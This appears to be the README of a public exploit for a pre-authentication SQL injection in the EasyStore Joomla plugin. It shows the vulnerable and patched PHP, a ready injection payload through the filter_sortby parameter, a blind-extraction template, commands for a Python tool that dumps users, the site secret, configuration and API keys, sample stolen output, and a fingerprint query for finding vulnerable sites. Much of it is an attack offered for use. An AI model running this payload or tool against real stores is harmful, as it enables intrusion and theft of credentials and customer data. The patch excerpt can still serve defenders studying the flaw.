CVE-2026-65761

// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

body="com_easystore" && body="filter_sortby"